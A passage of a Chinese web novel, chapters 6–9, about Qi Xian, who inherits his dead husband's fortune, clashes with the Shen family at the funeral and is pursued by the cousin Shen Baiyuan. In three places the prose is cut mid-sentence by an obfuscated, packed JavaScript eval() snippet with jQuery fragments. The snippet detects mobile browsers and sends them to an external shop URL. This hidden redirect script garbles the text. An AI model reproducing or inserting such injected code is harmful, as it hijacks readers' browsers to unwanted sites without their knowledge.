幸亏祁闲眼疾手快,把他扶住了。
什么狗屁豪门啊,村口大妈吵架都比这有素质!
祁闲对沈家的权力斗争没兴趣,怎奈沈柏霆的遗嘱一下子把他架到火上烤了。
那可是千亿资产!谁不眼馋?
除非他当场宣布放弃继承,否则必定不断会有人过来找他麻烦。
放弃是不可能放弃的,祁闲可不会跟钱过不去。
甭管沈柏霆设立遗嘱的时候到底是怎么想的,这块馅饼都已经塞进他嘴里了,哪儿还有吐出去的道理。
如果现在就让人欺负到头上,今后肯定没好日子过。
他必须得支棱起来。
祁闲一巴掌扫开周若华的手,仍是委屈巴巴:“婶子,我是沈柏霆指认的集团继承人,既然沈柏霆不在了,陈放就是我的助理,我知道你嘴里含着粪难受,那也不能乱喷啊?”
周若华难以置信地瞪大眼睛,甚至都无视了祁闲的后半段话:“什么指定继承人,你还真想拿到沈家的财产?做梦吧!”
祁闲无辜:“我可没做梦,遗嘱可白纸黑字的放在这儿呢,原来婶子不识字啊,这样吧,我先送您去医院清清嘴里的粪,再送您去完成九年义务教育怎么样?也算是帮柏霆孝敬长辈了。”
“怎么说话呢你!”
其它沈家人也按捺不住了,模糊的面容纷纷扭曲起来,迈步逼近祁闲。
“柏霆刚结婚就出事,遗嘱还恰好对他有利,该不会就是他下手害的柏霆吧!”
“就算要结婚,为什么偏偏选中了这个祁家人?肯定是祁家动了什么手脚!”
“祁家早有预谋想要趁机吞掉沈家的家产,也不撒泡尿看看自己几斤几两,真以为我们沈家除了沈柏霆之外就没人了?”
“瞅瞅这小子气死沉沉的样儿,看着都晦气!”
祁闲一拍大腿,竖起大拇指夸赞:“哎呀妈呀,叔叔婶婶你们真是慧眼识珠,才见两面就知道我是灾星转世!可千万要小心点,万一哪天我再把你们也克死了,多不好意思啊。”
沈家众人安静了半秒钟,骂的更凶更难听了。
陈放侧头,略带担忧地道:“祁少……”
祁闲小声道:“没事儿,让他们骂两下又不会掉我的肉,反正继承权在我手上……你确定没搞错是吧?”
陈放:“没有,待会儿我就带您去确认遗嘱。”
祁闲点点头。
这不就结了,沈家人再吵也影响不了结果,就让他们无能狂怒几句发泄发泄吧。
祁闲不再理会激动愤怒的沈家人,再次转身面对沈柏霆的墓碑,第一次如此强烈地生出想要看清眼前照片的愿望——
他亲爱的财神爷!
祁闲倒了一杯酒,浇在沈柏霆的墓前。
也许你的遗嘱是为那位白月光准备的,很不幸被我捡了漏。
但是别难过,我会每天好生祭拜你的!
祁闲朝沈柏霆的墓碑深深鞠了一躬,轻声道:
“走吧陈放,我要去看遗嘱。”
陈放点头,迈开步子,沈家人一看他们俩要溜当然不愿意,伸手去抓祁闲胳膊。
“哎,想走?没那么容易!”
祁闲甩开那只手,语气终于第一次冷了:“别碰我。”
回应祁闲的,是径直朝他敲来的贵州茅台。
多年来和祁珩斗智斗勇的经验可不是盖的,祁闲意识到要被打的瞬间,就向墓碑后一猫,同时抬手去挡。
砰!
酒瓶砸在了沈柏霆的墓碑上,应声而碎,高浓度的白酒溅了祁闲一身。
他的胳膊堪堪擦过酒瓶子,只是感觉到轻微的疼痛。
但祁闲在瓶子被砸碎的瞬间,凄厉惨叫一声,叫人毫不怀疑他是被活生生砸断了手臂。
“祁少!”陈放骇然惊呼。
祁闲嘴上嗷嗷喊着,一个矮身,抄起脚边的香炉,狠狠砸向那张没有五官的脸!
一击命中。
“啊!!!”
偷袭者惨叫一声捂住脸,香灰蓬起的烟雾让周围的其他人都捂住口鼻忙不迭地远离,咳嗽声此起彼伏。
一片灰蒙蒙中,鲜红的血顺着袭击者的指缝流淌出来。
没等那位被他砸得头破血流的仁兄发作,祁闲就捂着被酒瓶蹭到的胳膊率先倒地,可怜地蜷缩起身子,满脸痛苦地开始打滚。
“救命!我的手!我的手可能断了!我的手啊!!!”
陈放骇得不知如何是好,他手伸出来,又缩回去,不敢碰祁闲,只能着急地蹲在祁闲身边:“祁少,您——”
祁闲滚到面朝着陈放,向他使劲挤眉弄眼。
“???”陈放脸上的表情出现了一瞬的呆滞。
陈放很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249111|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快反应过来,哭天抢地伸出手半搀半扶把祁闲拽起来,急切道:“我这就送您去医院!竟然敢当众谋害祁少!祁少要是有个三长两短,你们所有人都吃不了兜着走!”
“哎别想跑!”有人要拦,一声倒地的重响却让他回头去看。只见被祁闲用香炉砸中的那家伙已经满头是血,彻底晕得不省人事。
“赶快叫120”的大呼小叫中,陈放和祁闲脚底抹油,早就溜远了。
有惊无险的全身而退,确定周遭无人,陈放松开搀扶着祁闲的手:“您怎么样?”
“没事,就被擦到了一下,皮外伤。”祁闲后怕地顺了顺胸脯,“还好躲得及时,不然倒着的可就得是我了。”
陈放敬佩:“我这就带您去医院。”
祁闲:“先把这身衣服换了吧,全都是酒味,有点想吐,而且好冷啊。”
陈放:“好,我叫人送新衣服。”
墓园里有专门设立的灵堂,祁闲被陈放带过去,推开门就看到沈柏霆的遗相摆在桌子正中。
平静下来,祁闲开始复盘。这场葬礼上,他既继承了沈柏霆遗产,又把试图偷袭他的沈家人打得头破血流。
唯一的损失,就是被酒瓶擦到的手臂,还是有那么一点点疼。
诶嘿,一整个大获全胜!
多亏了他在祁家多年来学到的宝贵智慧!
祁闲在祁家属于爹不疼娘不爱的超级弱势群体,每次祁珩欺负他,不管他再怎么据理力争说自己没错,也永远都是挨骂的那个。
久而久之,祁闲就算再脑子不好使,也学聪明了。
祁珩告状,他就先哭,委屈得上气不接下气,泪珠子直掉,嘴上说着对不起爸都是我不好你罚我吧。看到祁闲这样,祁志勇反倒不会怎么罚他,顶多嘴上骂两句。
这次也是一样。
他先倒在地上嗷嗷喊着自己的胳膊断了,凄惨得像是粉碎性骨折,沈家人压根就不敢当场找他追究砸香炉的事儿。
真厉害,不愧是他!
唯一后悔的,就是当时下手没再重一点。
灵堂的门被推开,有人抱着一套干净衣服进来,祁闲说着谢谢,想用右手接过。
对方却没松手。
祁闲抬头看他,是个穿着黑西装的陌生男人,挺高。应该是保镖吧。
“您胳膊不方便,我来帮您。”
“不用不用——”祁闲婉拒,可对方却径直上前两步,祁闲被逼地后退,只是几步,就到了墙角。
他被困住了。
糟糕。
祁闲下意识想把这人推开,但他左手刚伸到一半,就想到了自己手断了的设定,硬生生收了回来。
少年颊边还带着故意卖可怜的未干泪痕,发烧让他身体多少有些酸软,衣服被酒水打湿,正时刻带走着体表的温度,冷得微微打颤。
他张了张嘴,嗓音因紧张绷着:“你是谁?”
对方轻笑一声,他抬起手,解开祁闲衬衣的第一颗扣子,衣领敞开,露出白皙的脖颈和锁骨,以及点缀其上的其它色彩。
他拇指摩挲着祁闲颈窝中还未褪去的吻痕,低头凑到祁闲耳边,任凭祁闲偏头闪躲,也难以逃脱。
“没想到我哥还来得及弄出这些,我以为他压根就没碰过你呢,嫂子。”
7. 第 7 章
嫂子?
称呼一出,祁闲就大概猜到这人身份了。
“你是沈柏桉还是沈柏沅?”祁闲紧贴着墙角问道,试图拉开距离。
但他的退让只能让对方更加得寸进尺。
“嫂子知道的还不少。”轻触吻痕的手指顿住,微微用了些力道,似乎想要确认那些痕迹是不是真的,“自我介绍一下,我叫沈柏沅。”
昨天陈放给的资料祁闲有认真看过,沈家这一辈年龄比沈柏霆小还在十八岁以上就只有两个。其中一个是沈柏霆三姑的儿子沈柏桉,另一个是他小叔家的,一直都在国外读书的沈柏沅。
“你不是在国外上学吗?”
祁闲说着,暗中吸气,想要记住沈柏沅身上的味道,方便以后辨认。
但他只能闻到自己衣服上浓烈的酒气和空中的香火味,还被呛得咳嗽起来。
“得知柏霆哥出了事,坐连夜的飞机赶回来的。”
沈柏沅说着,指尖又挑开了祁闲衬衣另外的两颗扣子:“没想到赶上一出闹剧,我还以为嫂子要吃亏呢,竟然这么厉害。”
这个人,不好惹。
祁闲脑袋里敲响警钟,他右手敛住衣襟,阻止沈柏沅继续脱他衣服:“你们沈家人别想把我当软柿子捏,也包括你。”
这话说的没多少气势,祁闲就又凶巴巴补充了一句:“让开。”
沈柏沅乖乖后退一步,让出些足够祁闲脱身的空间。
祁闲用右半边身子再把他顶开些:“出去,我要换衣服。”
沈柏沅指了指祁闲左臂:“确定自己能搞定?”
祁闲:“反正用不着你帮忙。”
“行吧。”沈柏沅装模作样地叹了口气,他拉过一把椅子,在旁边坐下,摆明了不打算走。
祁闲顾不得管他,转过身背对着沈柏沅,开始脱衬衣。
他维持左手断了的设定,只用右手,脱衣服的姿势又别别扭扭,再加上又冷又发烧难受,时刻散发出的酒精味儿让人头晕又恶心,皮肤甚至都因为直接接触开始灼烧刺痛。
好烦。
祁闲眉头蹙起,按捺着怒气慢慢脱,一只手却适时的从身后抓住下摆,直接帮他把衬衣拽了下来。
“别动,我帮你。”沈柏沅的声音很近,近到说话时的气流都能扫过耳后敏感的皮肤,祁闲后背甚至能感受到从他身上散发的热量。
过分强烈,无从躲藏。
“不用不用,我——”
没等祁闲抗议完,沈柏沅就帮他脱下湿透的衬衣。
“肿了。”沈柏沅低声道。
祁闲看向自己的左臂,被砸到的地方只是肿了一小片,完全不像骨折,他赶紧捂着,低低地倒吸凉气,装作很疼的样子。
“手别再动,我帮嫂子擦下身体吧,你浑身都被酒刺激红了。”沈柏沅拆了一瓶矿泉水,浇在毛巾上打湿,没等祁闲回答,就擦在他后背上。
沈柏沅的力道不重,甚至可以称得上温柔,但毛巾擦上来的瞬间,祁闲还是倒抽一口凉气。
发烧让他皮肤一碰就痛,更别提还有酒精灼烧,毛巾质地再柔软,擦拭时也会磨。
祁闲咬住唇,才克制住发出更多声音。
清凉的水擦掉白酒,也带走体表过量的温度。
兴许是退烧药也起了作用,又或许是身体慢慢适应了摩擦的刺激,祁闲觉得舒服多了,紧绷的身体不知不觉间放松下来。
直到帮他擦完了整片后背和肩膀,沈柏沅突然说了句:“嫂子,你和我哥还挺激烈的啊。”
祁闲:“啊?”
沈柏沅指间点了点他后肩的蝴蝶骨,又顺着脊窝,一路滑动到腰眼处。
祁闲:“…………”
遭,忘了宁海尘制造的痕迹不止在脖子上了。
没被沈柏霆捉奸,倒是被他弟问,这算什么道理?
祁闲拍开他的手,强装冷静,耳稍却红透了:“和你无关。”
“怎么会和我无关呢?”沈柏沅手中的毛巾越过祁闲肩头,去擦他浇了最多酒的身前,“你和我哥领证没几个小时他就出事了吧?竟然还有时间搞这些,还是说……其实不是他弄出来的?”
够了!
在沈柏沅即将触碰到敏感地带之时,祁闲右手一把夺过毛巾,囫囵擦干净身前,然后把毛巾扔在沈柏沅脸上。
如果可以,祁闲甚至都想把毛巾塞他嘴里,省得他狗嘴里吐不出象牙,再说出让自己面红耳赤的话。
祁闲拿起干净衣服,抖好了先套在左胳膊上。
沈柏沅这才慢吞吞把毛巾从脸上拿下来,还故意闻了闻。
祁闲:“…………”
变态!你们沈家人都是变态!
祁闲脸上发烫,他移开视线,不再看沈柏沅,要把右手伸进袖子。
“等会儿,先别穿。”沈柏沅却拽住祁闲衣领。
祁闲见他动手,也动脚去踩他的脚,试图用小学生行为逼他松手:“干嘛?”
沈柏沅撤步躲过,从口袋里掏出个袋子,递给祁闲。
“冰袋,胳膊最好先敷一下。”
他会这么好心?
见祁闲满脸怀疑,沈柏沅直接把冰袋轻轻贴在他的伤处,冷意瞬间透过皮肤和肌肉,往骨子里钻,火辣辣的肿痛登时缓解了许多。
祁闲有一瞬恍惚。
就是一点点小伤,竟然会有人对他这么上心。
沈柏沅用绑带把冰袋暂时固定,低头帮祁闲把衬衣的扣子扣上。
他还用非常专业的手法,把受伤的手臂摸了一番,才似乎松了口气。
“应该不算严重,葬礼上都能让你伤到,陈放真是一点用都不中。”
最后半句语他声音很低,但还是被祁闲听到了。
沈柏沅一个常年在国外的沈家小辈,为什么好像和陈放很熟,还很担心自己的样子?
祁闲疑惑,如此近的距离,他能看到沈柏沅高挺的鼻梁和低垂的眼睫,如果他的判断正确,沈柏沅五官应该属于非常优越的那种。只可惜,他无法将单独的五官组成一张正确的脸。
最后一颗扣子系上,领口遮住祁闲脖颈上的暧昧痕迹。
沈柏沅双手从祁闲肩头划过,抚平每一寸褶皱,掌心的温度透过薄薄的衣料被肌肤感知,很熟悉的,被抚摸的感觉。
……可是怎么会?
“嫂子,裤子还需要我帮你换吗?”
叫人浑身一激灵的问话让祁闲回魂,他懊恼着自己的失神,撇过脸回答:“不用。”
沈柏沅这次没强求,主动背过身去。
祁闲脱掉鞋子,把被酒和雨水弄湿的裤子换成新的,扣上腰带。
就在这时,外面传来吵嚷的话音。
祁闲难以辨认出人脸,对声音相对来说就会更敏感一些,也算是某种形式的代偿。
他听出说话的是沈家某些人,并且正朝着灵堂的方向靠近。
要是被沈家人发现他在这里,肯定少不了一番正面争执。
他现在独自一人,难免会吃亏。
祁闲立刻踩上鞋,要找地方暂避。
但灵堂格局通畅,几乎一眼能看到头。
怎么办!难道要翻窗到外面,上演一出紧张刺激的“第五人格启动”?
沈柏沅突然拽住了他的右手。
“这里。”沈柏沅掀开祭台垂落到地面的绸布,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249112|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉着祁闲一起钻了进去。
“等会儿。”祁闲压低声音,被他搞得猝不及防,来不及调整姿势,只能很难受得趴跪着,“你不也是沈家人吗?为什么要和我一块躲进来啊!”
“嘘——”沈柏沅将食指抵在他唇边,示意祁闲别再吭声。
祁闲赶紧闭嘴,屏息凝神,沈柏沅的身形高大,和他一起蜷缩在祭台下挤着,要更难受。
一时间昏暗狭小的布帷里,只有两人克制的轻轻呼吸声。
灵堂的门被推开,沈家人的话语声更加清晰。
“他竟然把逸山打成这样,简直不把我沈家放在眼里!”
“集团绝对不能落在祁家人手里,咱们先一致对外,等弄死这个祁闲,再决定自家怎么分。”
“就先让他得意着吧,我已经做了安排,他蹦跶不了两天了。”
祁闲无语。
不如您仔细聊聊到底是什么安排,好让我提前做下准备?
祁闲凝神听着外面的动静,目光很自然飘到了沈柏沅脸上,想要观察他的脸上作何表情。
很可惜除了晦暗光影之外,祁闲认不出别的,硬要说的话……大概是严肃和认真?
注意到祁闲的目光,沈柏沅看向他,弯起眉眼,用嘴型问道:好看吗?
祁闲:呸。
臭不要脸。
“我怎么记得,原本要和沈柏霆结婚的不是这个祁闲?”
“是,本来祁志勇是想让他二儿子联姻的,不知道怎么回事,前一天突然就换成那小子了。”
“祁闲是祁志勇前妻的孩子,祁志勇不会眼睁睁看着祁闲拿到沈柏霆遗产的,等祁家那边动手,咱们也开始行动,我就不信他一个毛头小子,能和两个家族对着干。”
分析得很对,给你竖个大拇指!
他接下来要面对的敌人不光是沈家,还有祁家。
祁闲本以为和沈柏霆结婚能彻底脱离祁家,临走前放肆打了祁珩一顿。
现在又都成了麻烦啊。
沈柏沅瞅着祁闲脸色,突然伸出手。
祁闲下意识想躲,又担心随便动弹会让外面的人发现,只能忍住。
沈柏沅的手落在他眉间,用指腹抚平皱着的眉头。
祁闲微微一愣,扭过头去,避免和沈柏沅对视。
外面的讨论声渐停,变为沈家人帮沈逸山处理伤口的窸窣声。
“不行,创口太大,还沾了香灰,得赶快送去医院!”
沈逸山疼得骂骂咧咧:“妈的,我绝对要亲手弄死那个兔崽子!”
沈家人紧赶慢赶地走了。
确定他们的声音彻底远去,祁闲才终于放松呼吸,他掀开幕布,慢吞吞地钻出去,屁股却被沈柏沅趁机拍了一下。
祁闲立刻往后一蹬,沈柏沅侧头闪躲,这脚踩在了沈柏沅肩膀上,没等祁闲收腿,他的脚踝就被攥住了。
天旋地转,惊呼声中,沈柏沅直接把祁闲翻了个面,少年就像一只被肆意摆弄的猫咪,被迫露出最柔软的肚皮。
任凭祁闲再怎么使劲踹,对方就是不撒手。
不久之前那个喝到烂醉的晚上,宁海尘也是这样,面对面地倾身压下来。
祁闲双眼睁得滚圆,努力想要看清眼前面容:“你到底是谁?”
“我当然是沈柏沅了,难不成还会有别人?嫂子这么问,让我很伤心啊。”
沈柏沅再次将食指贴在祁闲唇上,示意他别那么激动小点声,男人凝视着祁闲警惕的双眸,粗粝的指腹摩擦他的唇瓣。
“嫂子,那么多人想害你,看起来处境很不妙啊。”
“不过放心,我哥没了,我会替他照顾好你的。”
8. 第 8 章
祁闲:“…………”
他被沈柏沅惊世骇俗的言论震惊地愣了两秒。
沈柏沅闷闷低笑起来,显然被他逗乐了。
祁闲额角直跳,另一条腿猛然一提,完成了精准打鸡。
“唔!”
沈柏沅闷哼一声,痛苦地侧身倒地。
祁闲右臂撑着身子爬起来,对地上疼到打滚的沈柏沅,呸了两声:
“活该。”
叫你欺负人!
沈柏沅过了片刻才艰难站起身,咬牙切齿道:“嫂子,你也太——”
祁闲反手拿过祭台上的苹果,塞进沈柏沅的嘴里。
沈柏沅咔嚓咬了一大口,又顺理成章地把被他咬过的苹果递过来:“还蛮甜的,嫂子尝尝?”
“沈柏霆is watching you,你再胡言乱语,小心他半夜去被窝里找你。”
祁闲拿起沈柏霆的黑白遗照,把它往沈柏沅怀里一塞,赶紧快步走出灵堂。
身后响起脚步声。
祁闲:“最后一次警告你,别跟着我。”
回答祁闲的,是他肩上一沉。
沈柏沅把自己的西装外套披在祁闲肩头,语气又恢复了懒懒的吊儿郎当:“放心,就是给你披个衣服,本来就刚退烧,小心再着凉。”
祁闲讶然。
沈柏沅是怎么知道他发烧的?
总不可能是刚才摸出来的吧……
祁闲不太想和沈柏沅再有牵扯,嘴里嘟囔着“谁稀罕你的破外套”,拉紧肩头的衣服,走了。
细雨朦胧,祁闲走在墓园小路上,却隐约嗅到辛辣香气,冲入鼻腔,让人生出股“冬夜里围在温暖炉火喝上一罐胡椒博士”的慵懒幻想。
他低头寻找味道的来源。
是沈柏沅的西装外套。
祁闲默默记住这个味道。
沈家人一个两个都变态的很!下次只要沈柏沅出现,他得拔腿就跑!
陈放正在半路等待,见祁闲过来,赶忙给他撑伞。
“还好吗祁少。”陈放目光落在祁闲肩膀的西装外套上,“这是……”
“不重要。”祁闲选择忽略这个问题,和陈放一同朝墓园外走,小声道:“我刚才在灵堂换衣服,听到沈家人商量着想害我。”
陈放坚定:“我会安排足够的人手保护您的,绝不会让沈总遭遇的事再发生在您身上。”
走出墓园,七座的商务车停在路边,祁闲坐上中间位置,总算放松下来,歪扭七八地瘫了。
休息了几分钟,祁闲随口聊着问:
“沈柏霆有个叫沈柏沅的堂弟,陈放你认识吗?”
“不太熟。”陈放发动车子,瞄了眼后视镜,“沈柏沅是沈总小叔家的儿子,从高中就去美国读书了,只有过年的时候才会偶尔回来一趟。祁少怎么突然问起这个?”
祁闲想了下,还是决定给陈放说,毕竟陈放是他目前唯一能信任的人了:
“我在灵堂里遇见沈柏沅了,说是听说沈柏霆死讯,连夜赶回来的,他也是来争家产的吧?”
陈放又瞄了眼后视镜,回答道:“大概率是的。”
祁闲长吁短叹,哀声载道:“我怎么这么倒霉啊!莫名其妙和沈柏霆结婚,又莫名其妙死了老公,现在有机会继承遗产,还惹上那么多奇形怪状的人,尤其是那个沈柏沅简直怪的要命!他们压根都不为沈柏霆难过,凭什么和我抢?”
“嫂子你这样说,我很难过的。”
身后突然冒出的声音让祁闲吓得差点原地跳起来,他惊恐地回头,沈柏沅正优哉游哉从商务车最后一排起身。
祁闲:?!?!??!
祁闲双眼瞪得滚圆:“你怎么会在?!”
“看到路边有车,我就上来躺一会儿,没想到啊,竟然听到嫂子说我坏话。”
“而且。”沈柏沅看向祁闲的左臂,语调含笑,“嫂子的骨折原来是装的啊。”
祁闲双手扒住驾驶座的靠背,用力摇晃:“陈放快停车,让他下去!”
沈柏沅:“禁停路段。嫂子,我哥刚出完车祸,咱还是注意点交通规则为好。”
沈柏沅说着,抓住椅背向前挪过来,大刺刺地坐在祁闲身边。
祁闲:……你不要过来哇!!!
祁闲继续满脸抗拒地摇晃驾驶座靠背。
陈放停车,陈放停车,陈放停车啊!
沈柏沅的声音响在耳边:“嫂子,你说我们都不是真心为我哥难过的,那你呢,难过吗?”
“当然。”祁闲回答得毫不犹豫,“就算路边的小猫小狗死了看着也会难过,我可不像你们没良心。”
“真看不出来啊嫂子,你和我哥相处的时间加起来有一个小时吗?就对他那么上心,再过上一会儿,我和你认识的时间就比他要长了吧,你会不会也对我那么在乎?”
沈柏沅话音中藏着调笑,他握住祁闲的手,径直按在自己的胸口处。
祁闲摸到他脖子上挂着一根金属链子,从衬衣敞开第一颗扣子的领口里露出来,吊坠形状像是——
那不重要。
祁闲终于忍无可忍地喊出了声:“陈放!你给我停车!”
下一秒。
沈柏沅被一脚踹出了商务车。
祁闲唰的一声关上车门,商务车扬尘而去,把沈柏沅独自扔在了前不着村后不着店的郊区。
世界终于安静了。
望着车窗外沈柏沅孤零零的身影远去,祁闲舒服了。
“下次再遇到这种情况,直接把他扔出去。”
陈放:“……好。”
不知为何,祁闲从这个字里品出了几分哽咽。
陈放先送祁闲去了医院,擦伤也需要处理,伤处因为及时做了冰敷,已经不算痛了。
之后祁闲确认了遗嘱,在律师和公证人员的确认下,他翻看着其中巨细无遗的条例,好奇问道:“陈放,沈柏霆还会经常变动遗嘱吗?”
陈放:“对,每个季度沈总都会相应更改遗嘱当中的一些内容,这份遗嘱是他两个月前修改过的。”
原来如此。
遗嘱中将遗产交给合法配偶的这一条,肯定是沈柏霆给他的白月光准备的。
谁知道沈柏霆刚和他领了证,还没来得及对调整遗嘱内容,就出事了。
这样一看,沈家人会把凶手罪名扣在他头上也正常,他确实是沈柏霆之死获益最大者。
祁闲花了几个小时弄清楚所有事。
股权转让书摆在他面前,一笔一划的写上“祁闲”这两个字,再按上手印,不过半分钟,让无数人垂涎的天纵集团,就彻底属于他了。
全都搞完,祁闲已经饿得前胸贴肚皮。
陈放收起所有合同:“祁少,我会找管家过来负责您的日常生活,保镖也会随时守着。”
祁闲站起身:“好。辛苦了,一块去吃个饭吧?”
陈放婉拒:“我还有事要处理,祁少您好好休息养伤,如果有需要随时联系我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249113|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祁闲点头:“那好,对了陈助理,您有空发给我一些关于集团的资料吧,我也想深入了解一下,省的沈柏霆的心血毁在我手里。”
陈放:“没问题,我这就让人去准备。”
陈放派人把祁闲送回别墅,关上家门,祁闲摊在沙发上,决定在客厅摆一个沈柏霆的祭台,日日祭拜他的财神爷。
按照规矩,除了祭品,还需要放一些沈柏霆的遗物。
祁闲来到沈柏霆卧室门口。
沈柏霆昨天还提醒过祁闲,不要进他的卧室和书房。
但沈柏霆人都没了,他的东西迟早需要收拾。
祁闲按下门把手,推开一条缝,窥探禁地般先探头瞅瞅。
唔,和他想象中差不多,很简约的风格。
确认没啥危险,祁闲这才进屋,准备收拾沈柏霆的遗物。
沈柏霆一看就是个j人,东西都放置的很规整。
祁闲想找点比较有代表性的物品,他打开床头柜,有个相框倒扣着埋在抽屉深处。
这是一张合照。
两个少年并肩坐在破旧石屋的矮墙上,他们舒展着双臂,肯定正迎着风肆意欢笑。
一望无际的大海和晴朗无云的天空连缀成一片,仿佛只要向后仰倒,就能坠入那片层叠的蓝。
鼻畔仿佛萦绕着海风的气息。
祁闲盯着这张照片,久久移不开眼。
两个少年的面容模糊成一片,任凭他再怎么努力,也看不清更多细节。
左边这位赤着脚的,应该就是沈柏霆一直惦念的白月光吧?
真可惜啊,到头来没能找到他俩就天各一方了。祁闲叹息,把照片放回原处,为这段无疾而终的感情默哀。
沈柏霆的衣帽间很大,大部分衣物色系简单,样式端重,和他留给祁闲的印象一致。
祁闲选了沈柏霆的一件贴身衬衣,再拉开首饰柜,领带夹,袖扣,胸针一应俱全,还有个柜子专门放腕表。
祁闲简单扫了眼这些名贵的奢侈品,目光掠过,却陡然停顿。
……等等。
祁闲拿起角落里的一只百达翡丽。
这只表……怎么他好像在哪儿见过?
祁闲皱着眉认真回忆,突然灵光一现。
他确实见过!
在他胡作非为的那天晚上,宁海尘随手摘下腕表,放在了旁边的床头柜上,当时他正挣扎在过分强烈的感官刺激中,没工夫在意。
正是完全相同的款式!
祁闲心头一紧。
宁海尘和沈柏霆之间有什么关系?是他们有钱人都爱戴这一款,还是说……它就是出现在宁海尘手上的那一只?!
祁闲盯着腕表翻来覆去地看,还在自己手腕上比划了下,试图找到更多非同寻常的细节。
这只表不是新的,却被日常保养得很好,祁闲只在表盘背面找到了一条轻微的划痕。
不知道宁海尘的百达翠丽有没有相同的痕迹。
心中的疑虑愈发强烈,祁闲努力回忆那天晚上的经历:
他意外撞在宁海尘身上,想要搞艳遇中途后悔又被救下,疯狂吐槽即将结婚的联姻对象时宁海尘可疑的沉默。
还有第二天一早,沈柏霆看到他脖颈上暧昧的痕迹,却像是瞎子一样,完全没反应,甚至面对他在民政局的发疯取闹,都好脾气地把他抱走。
祁闲石化在原地:“……不会吧???”
难不成宁海尘就是沈柏霆?!
9. 第 9 章
聪明的智商占领了高地,种种蛛丝马迹确实能够串联起来,可又有很多细节对不上。
祁闲清楚记得宁海尘身上有他很喜欢的海盐味道,但沈柏霆闻起来是无味的。
两人的身形相似,音色相似,但发型和气质完全不同,否则在民政局门口,祁闲当场就能认出来。
祁闲拿不准到底什么情况,那天醒来他急着溜走,没趁着宁海尘还在睡,偷偷拍一张。
不然他只需要发给白遥,让她帮忙确认。
现在,倒是也有办法。
只要他再见宁海尘一面。
沈柏霆都已经烧成灰了,如果宁海尘还活着,就证明他想错了。
但他要怎么才能找到宁海尘?专门去酒吧守株待兔,看看能不能再凑巧蹲到?还是拜托陈放利用人脉调查?
那他该怎么和陈放说?这个人是差点和我一夜情的对象,我现在需要向他确认一些事,麻烦帮忙找找?
也太诡异了吧!
不过,他真有必要专门去找吗?
如果宁海尘就是沈柏霆,他已经死了。
如果宁海尘不是沈柏霆,他和宁海尘就单纯是有过短暂接触的陌生人,程度甚至都算不上一夜情,仅此而已。
好,很有道理!
祁闲成功说服了自己。
接下来面对沈家人还有硬仗要打呢,就别额外再没事找事了。
他拿上百达翡丽和白衬衣,回去客厅,把沈柏霆的遗物放在遗照前,再恭敬上了三炷香。
祁闲摆上各式各样的贡品,好让沈柏霆的在天之灵吃好喝好,手机铃声响起,提醒他该去为客人拍摄了。
就算继承千亿遗产,自己的手艺也不能丢。
祁闲背起设备,刚一踏出别墅屋门,一队仿佛复制粘贴的黑衣墨镜壮汉猝不及防地凭空出现在他眼前。
祁闲:!!!
祁闲吓得猛一哆嗦,立刻把装着相机和镜头的包紧张抱在怀中,牢牢护着。
过了两秒钟,他才反应过来现在已经不再是设备比命重要的时候了,几万块钱的镜头算什么,他得活着才能享受遗产啊!
“我警告你们别过来啊,我这镜头砸人很疼的!”祁闲警惕后退着举起包,瞄准为首那人,做好砸过去的准备。
“祁少!”为首的黑衣壮汉赶忙伸手,“我们是负责保证您安全的!”
祁闲一愣,后知后觉地反应过来,摸着胸口松了一大口气:“哦哦保镖是吧,这么多人啊,我还以为你们要绑架我呢。”
“我是他们的队长,陆峰。”保镖队长把众人挨个介绍一遍。
可惜祁闲除了陆峰之外,一个也没记住。
他嗯嗯点着头,保镖们各个身形壮硕,站在他面前和山似的,祁闲想到自己的拍摄行程,迟疑道:“你们要跟着我出门吧?这样会不会有点……太大张旗鼓了?”
陆峰拍着胸脯保证:“放心吧祁少,我们不会对您的日常生活造成麻烦的!”
二十分钟后,祁闲来到了客人家楼下。
低调的黑色辉腾停在老小区的公共停车位,祁闲拎着包从后排下车,去寻找客人地址所在的单元楼。
八个“路人”从他身边经过,非常“随意”的或抢在他前面,或跟在他后面,把祁闲滴水不漏地围在中央。无论敌人从哪个方向袭击,都绝对讨不到任何好处!
祁闲:“…………”
祁闲努力压低帽檐,把口罩往上拽拽,只漏一双眼睛,压低声音询问陆峰:“不是说不会对日常生活造成麻烦吗?”
“对啊。”陆峰点头,信心满满,“我们都穿了便装,放心吧祁少!”
祁闲沉默了。
要不是陆峰正穿着紧身裤豆豆鞋,还有从短袖里露出的大花臂,他真要信了这鬼话!
